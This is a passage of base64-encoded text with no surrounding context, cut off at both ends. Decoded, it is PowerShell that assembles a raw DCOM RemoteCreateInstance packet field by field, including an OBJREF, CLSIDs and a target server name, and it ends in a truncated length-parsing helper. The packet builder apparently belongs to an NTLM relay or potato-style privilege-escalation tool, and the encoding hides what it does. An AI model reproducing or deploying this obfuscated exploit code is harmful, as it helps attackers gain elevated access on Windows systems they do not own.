Uluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9BY3RpdmF0aW9uRmxhZ3MiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9GbGFnc1N1cnJvZ2F0ZSIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW5mb0ludGVyZmFjZUlkQ291bnQiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkluZm9JbnN0YW50aWF0aW9uRmxhZyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW50ZXJmYWNlSWRzUHRyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25FbnRpcmVQcm9wZXJ0eVNpemUiLFtCeXRlW11dKDB4NTgsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvblZlcnNpb25NYWpvciIsW0J5dGVbXV0oMHgwNSwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0luc3RhbnRpYXRpb25WZXJzaW9uTWlub3IiLFtCeXRlW11dKDB4MDcsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW50ZXJmYWNlSWRzUHRyTWF4Q291bnQiLFtCeXRlW11dKDB4MDEsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzSW5zdGFudGlhdGlvbkludGVyZmFjZUlkcyIsW0J5dGVbXV0oMHgxOCwweGFkLDB4MDksMHhmMywweDZhLDB4ZDgsMHhkMCwweDExLDB4YTAsMHg3NSwweDAwLDB4YzAsMHg0ZiwweGI2LDB4ODgsMHgyMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNJbnN0YW50aWF0aW9uSW50ZXJmYWNlSWRzVW51c2VkQnVmZmVyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb1ByaXZhdGVIZWFkZXIiLFtCeXRlW11dKDB4ODAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRPayIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9SZXNlcnZlZCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvUmVzZXJ2ZWQzIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NsaWVudFB0clJlZmVyZW50SUQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAyLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvTlVMTFB0ciIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0VW5rbm93biIsW0J5dGVbXV0oMHg2MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0Q250RGF0YSIsW0J5dGVbXV0oMHg2MCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0T0JKUkVGU2lnbmF0dXJlIixbQnl0ZVtdXSgweDRkLDB4NDUsMHg0ZiwweDU3KSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NsaWVudFB0ckNsaWVudENvbnRleHRPQkpSRUZGbGFncyIsW0J5dGVbXV0oMHgwNCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0T0JKUkVGSUlEIixbQnl0ZVtdXSgweGMwLDB4MDEsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHhjMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDQ2KSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0FjdGl2YXRpb25Db250ZXh0SW5mb0NsaWVudFB0ckNsaWVudENvbnRleHRPQkpSRUZDVVNUT01PQkpSRUZDTFNJRCIsW0J5dGVbXV0oMHgzYiwweDAzLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4YzAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHg0NikpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNBY3RpdmF0aW9uQ29udGV4dEluZm9DbGllbnRQdHJDbGllbnRDb250ZXh0T0JKUkVGQ1VTVE9NT0JKUkVGQ0JFeHRlbnNpb24iLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvQ2xpZW50UHRyQ2xpZW50Q29udGV4dE9CSlJFRkNVU1RPTU9CSlJFRlNpemUiLFtCeXRlW11dKDB4MzAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzQWN0aXZhdGlvbkNvbnRleHRJbmZvVW51c2VkQnVmZmVyIixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMSwweDAwLDB4NjMsMHgyYywweDgwLDB4MmEsMHhhNSwweGQyLDB4YWYsMHhkZCwweDRkLDB4YzQsMHhiYiwweDM3LDB4NGQsMHgzNywweDc2LDB4ZDcsMHgwMiwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMSwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9Db21tb25IZWFkZXIiLFtCeXRlW11dKDB4MDEsMHgxMCwweDA4LDB4MDAsMHhjYywweGNjLDB4Y2MsMHhjYykpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9Qcml2YXRlSGVhZGVyIiwkcGFja2V0X3ByaXZhdGVfaGVhZGVyKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvQXV0aGVudGljYXRpb25GbGFncyIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9TZXJ2ZXJJbmZvUHRyUmVmZXJlbnRJRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDIsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9OVUxMUHRyIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NlY3VyaXR5SW5mb1NlcnZlckluZm9TZXJ2ZXJJbmZvUmVzZXJ2ZWQiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9OYW1lUmVmZXJlbnRJRCIsW0J5dGVbXV0oMHgwNCwweDAwLDB4MDIsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9TZXJ2ZXJJbmZvU2VydmVySW5mb05VTExQdHIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9SZXNlcnZlZDIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9OYW1lTWF4Q291bnQiLCRwYWNrZXRfdGFyZ2V0X2xlbmd0aCkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NlY3VyaXR5SW5mb1NlcnZlckluZm9TZXJ2ZXJJbmZvTmFtZU9mZnNldCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTZWN1cml0eUluZm9TZXJ2ZXJJbmZvU2VydmVySW5mb05hbWVBY3R1YWxDb3VudCIsJHBhY2tldF90YXJnZXRfbGVuZ3RoKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2VjdXJpdHlJbmZvU2VydmVySW5mb1NlcnZlckluZm9OYW1lU3RyaW5nIiwkcGFja2V0X3RhcmdldF91bmljb2RlKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzTG9jYXRpb25JbmZvQ29tbW9uSGVhZGVyIixbQnl0ZVtdXSgweDAxLDB4MTAsMHgwOCwweDAwLDB4Y2MsMHhjYywweGNjLDB4Y2MpKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzTG9jYXRpb25JbmZvUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHgxMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0xvY2F0aW9uSW5mb05VTExQdHIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzTG9jYXRpb25JbmZvUHJvY2Vzc0lEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0xvY2F0aW9uSW5mb0FwYXJ0bWVudElEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc0xvY2F0aW9uSW5mb0NvbnRleHRJRCIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTY21SZXF1ZXN0SW5mb0NvbW1vbkhlYWRlciIsW0J5dGVbXV0oMHgwMSwweDEwLDB4MDgsMHgwMCwweGNjLDB4Y2MsMHhjYywweGNjKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUHJpdmF0ZUhlYWRlciIsW0J5dGVbXV0oMHgyMCwweDAwLDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvTlVMTFB0ciIsW0J5dGVbXV0oMHgwMCwweDAwLDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTY21SZXF1ZXN0SW5mb1JlbW90ZVJlcXVlc3RQdHJSZWZlcmVudElEIixbQnl0ZVtdXSgweDAwLDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUmVtb3RlUmVxdWVzdFB0clJlbW90ZVJlcXVlc3RDbGllbnRJbXBlcnNvbmF0aW9uTGV2ZWwiLFtCeXRlW11dKDB4MDIsMHgwMCwweDAwLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2NtUmVxdWVzdEluZm9SZW1vdGVSZXF1ZXN0UHRyUmVtb3RlUmVxdWVzdE51bVByb3RvY29sU2VxdWVuY2VzIixbQnl0ZVtdXSgweDAxLDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2NtUmVxdWVzdEluZm9SZW1vdGVSZXF1ZXN0UHRyUmVtb3RlUmVxdWVzdFVua25vd24iLFtCeXRlW11dKDB4MDAsMHgwMCkpDQogICAgJHBhY2tldF9EQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2UuQWRkKCJEQ09NUmVtb3RlQ3JlYXRlSW5zdGFuY2VfSUFjdFByb3BlcnRpZXNDVVNUT01PQkpSRUZJQWN0UHJvcGVydGllc1Byb3BlcnRpZXNTY21SZXF1ZXN0SW5mb1JlbW90ZVJlcXVlc3RQdHJSZW1vdGVSZXF1ZXN0UHJvdG9jb2xTZXFzQXJyYXlQdHJSZWZlcmVudElEIixbQnl0ZVtdXSgweDA0LDB4MDAsMHgwMiwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUmVtb3RlUmVxdWVzdFB0clJlbW90ZVJlcXVlc3RQcm90b2NvbFNlcXNBcnJheVB0ck1heENvdW50IixbQnl0ZVtdXSgweDAxLDB4MDAsMHgwMCwweDAwKSkNCiAgICAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZS5BZGQoIkRDT01SZW1vdGVDcmVhdGVJbnN0YW5jZV9JQWN0UHJvcGVydGllc0NVU1RPTU9CSlJFRklBY3RQcm9wZXJ0aWVzUHJvcGVydGllc1NjbVJlcXVlc3RJbmZvUmVtb3RlUmVxdWVzdFB0clJlbW90ZVJlcXVlc3RQcm90b2NvbFNlcXNBcnJheVB0clByb3RvY29sU2VxIixbQnl0ZVtdXSgweDA3LDB4MDApKQ0KICAgICRwYWNrZXRfRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlLkFkZCgiRENPTVJlbW90ZUNyZWF0ZUluc3RhbmNlX0lBY3RQcm9wZXJ0aWVzQ1VTVE9NT0JKUkVGSUFjdFByb3BlcnRpZXNQcm9wZXJ0aWVzU2NtUmVxdWVzdEluZm9VbnVzZWRCdWZmZXIiLFtCeXRlW11dKDB4MDAsMHgwMCwweDAwLDB4MDAsMHgwMCwweDAwKSkNCg0KICAgIHJldHVybiAkcGFja2V0X0RDT01SZW1vdGVDcmVhdGVJbnN0YW5jZQ0KfQ0KDQpmdW5jdGlvbiBEYXRhTGVuZ3RoMg0Kew0KICAgIHBhcmFtIChbSW50XSRsZW5ndGhfc3RhcnQsW0J5dGVbXV0kc3RyaW5nX2V4dHJhY3RfZGF0YSkNCg0KICAgICRzdHJpbmdfbGVuZ3RoID0gW1N5c3RlbS5CaXRDb252ZXJ0ZXJdOjpUb1VJbnQxNigkc3RyaW5nX2V4dHJhY3RfZGF0YVskbGVuZ3RoX3N0YXJ0Li4oJGxlbmd0aF9zdGFydCArIDEpXSwwKQ0KDQogICAgcmV0dXJu